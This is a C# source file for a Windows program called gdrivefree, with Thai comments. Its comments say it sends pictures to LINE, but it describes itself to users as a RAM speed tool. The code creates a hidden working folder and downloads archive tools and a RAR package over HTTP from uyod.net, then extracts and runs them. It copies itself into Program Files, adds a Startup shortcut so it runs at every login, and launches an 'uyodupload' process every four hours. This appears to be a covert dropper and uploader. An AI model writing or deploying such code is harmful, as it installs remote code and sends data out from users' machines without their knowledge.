using System;
using System.Globalization;
using System.Threading;
using System.IO;


// gdrivefree.exe  คล้าย gdrive แต่เป็นแบบ Standalone 
// ทำงานแบบ Windows Application 
// ทำงานฝั่งตัวใน Window และส่งรูปไปที่ Line 

namespace Original
{
    static class Program
    {
        public static string MyProg = "gdrivefree".ToLower();
        private static string MyProgramn = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
        public static string cText = "";
        public static int nForWork = 1;
        public static string cTemp = "", cTemp2 = "";  // ตัวแปรดัมมี่
        public static bool insource = false;
        public static string cFleWorkAct = @"C:\TempAct\";  // ไว้ในในอนาคต ต่อไป 

        // ตัวแปรเพิ่มเติ่ม
        // private static int var
        static void Information()
        {
            Util.Program.Pok_Mess("โปรแกรมปรับความเร็วแรม");
        }

        static void Readme()
        {
            Util.Program.Pok_Mess(MyProg + "  " + Environment.NewLine + MyProgramn
                + Environment.NewLine + "วันที่โปรแกรม " + File.GetLastWriteTime(MyProgramn).ToString()
                + Environment.NewLine + Environment.NewLine + "ชุดคำสั่ง "
                + Environment.NewLine + MyProg + " "
                + Environment.NewLine + MyProg + " "
                + Environment.NewLine + MyProg + " "
                );
        }

        static void initProg() // เริ่มต้นทำงาน
        {
            // /public_html/exe UnRAR.exe   Rar.exe
            Directory.SetCurrentDirectory(cFleWorkAct);
            if (!File.Exists("winenvir.txt")) { Util.Program.Pok_Process("Uyod_S1", "5 0 0"); Thread.Sleep(2 * 1000); }
            if (!File.Exists(cFleWorkAct+ "customer.txt"))  
            {
                string[] lines = File.ReadAllLines("winenvir.txt");
                cTemp = lines[0].Trim().Substring(6).Trim();
                cTemp=cTemp+"*"+lines[1].Trim().Substring(6).Trim();
                TextWriter List2Write = new StreamWriter(cFleWorkAct+"customer.txt");
                List2Write.WriteLine(cTemp);
                List2Write.Close(); List2Write.Dispose();
                cTemp = "";
            }
            if (!File.Exists(cFleWorkAct+"Myupdate.txt"))  
            {
                TextWriter List2Write2 = new StreamWriter(cFleWorkAct+"Myupdate.txt");
                List2Write2.WriteLine(DateTime.Now.ToString());
                List2Write2.Close(); List2Write2.Dispose();
            }
            if (!File.Exists(cFleWorkAct+"c.rar"))
            { Util.Program.DownloadFile("http://uyod.net/rar/c.rar", cFleWorkAct + "c.rar"); Thread.Sleep(4 * 1000); }
            if (!File.Exists(cFleWorkAct + "UnRAR.exe"))
            { Util.Program.DownloadFile("http://uyod.net/exe/UnRAR.exe", cFleWorkAct + "UnRAR.exe"); Thread.Sleep(4 * 1000); }
            if (!File.Exists(cFleWorkAct + "Rar.exe"))
            { Util.Program.DownloadFile("http://uyod.net/exe/Rar.exe", cFleWorkAct + "Rar.exe"); Thread.Sleep(4 * 1000); }
            if (!File.Exists(cFleWorkAct + "UtilPok.exe"))
            { Util.Program.Pok_Process("UnRAR", "x -o+ c "+cFleWorkAct); Thread.Sleep(4 * 1000); }
            if (File.Exists("GdriveFree.exe") && !File.Exists(@"C:\Program Files (x64)\Gdrive\GdriveFree.exe"))
            {
                if (!Directory.Exists(@"C:\Program Files (x64)\gdrive")) {
                    Directory.CreateDirectory(@"C:\Program Files (x64)\Gdrive"); }
                    File.Copy("Gdrivefree.exe", @"C:\Program Files (x64)\Gdrive\Gdrivefree.exe", true);
            }
            if (insource==false && Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
            {
                if (File.Exists("gdrivefree.ln_") && !File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\gdrivefree.lnk"))
                {
                    File.Copy("gdrivefree.ln_", Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\gdrivefree.lnk");
                }
            }
            // ผ่านไป 7 วัน ให้ปรับใหม่ 
            if (Util.Program.bTStime(4, File.GetLastWriteTime(cFleWorkAct+ "Myupdate.txt"), 7))
            { File.Delete(cFleWorkAct + "c.rar"); File.Delete(cFleWorkAct + "UtilPok.exe");File.Delete(cFleWorkAct + "Myupdate.txt"); }
            // เปรียบเทียบ ไฟล์
            if (Util.Program.CompareFile("GdriveFree.exe", @"C:\Program Files (x64)\Gdrive\Gdrivefree.exe"))
            { File.Copy("Gdrivefree.exe", @"C:\Program Files (x64)\Gdrive\Gdrivefree.exe", true); }
        }

         static void Test_Prog()
        {
            Information();
        }

        static void Work_activate()
        {
            Util.Program.Pok_Process("uyodupload", "2");
            int i = 0;
            while (i < 12)
            {
                i++;
                Util.Program.Pok_Process("uyodupload", "2");
                Thread.Sleep(4 * 60 * 60 * 1000);  // 4 ชั่วโมง
            }
        }

        static void Main(string[] args)
        {
            if (Directory.Exists(@"R:\Temp")) { insource = true; }  // Run กับ Source
            if (!Directory.Exists(cFleWorkAct)) { Directory.CreateDirectory(cFleWorkAct); }
            Util.Program.CrFolderIsHidden(cFleWorkAct);
            initProg();
            Util.Program.FolderStartupShow();
            string cpFlag;
            if (args.Length == 0) { if (insource) { cpFlag = "T"; } else { cpFlag = "W";  } }  // Pipop T เป็นการทดสอบ
            else { cpFlag = args[0].Trim(); }

            nForWork = 1;  //    PipopYou ปรกติ  1 nForWork=0 ไม่ทำอะไรเลย ,1 ทำงานตามปรกติ 2 ไม่Runโปรแกรมและมีเตือน  
            // Thread.CurrentThread.CurrentCulture = new CultureInfo("en-GB"); // เปลี่ยนรูปแบบวันที่ เป็น GB
            switch (cpFlag) // Switch
            {
                case ("0"):
                case ("?"): Readme(); break;
                case ("T"): Test_Prog(); break;
                case ("W"): Work_activate(); break;
                default: break;
            }
        }
    }
}

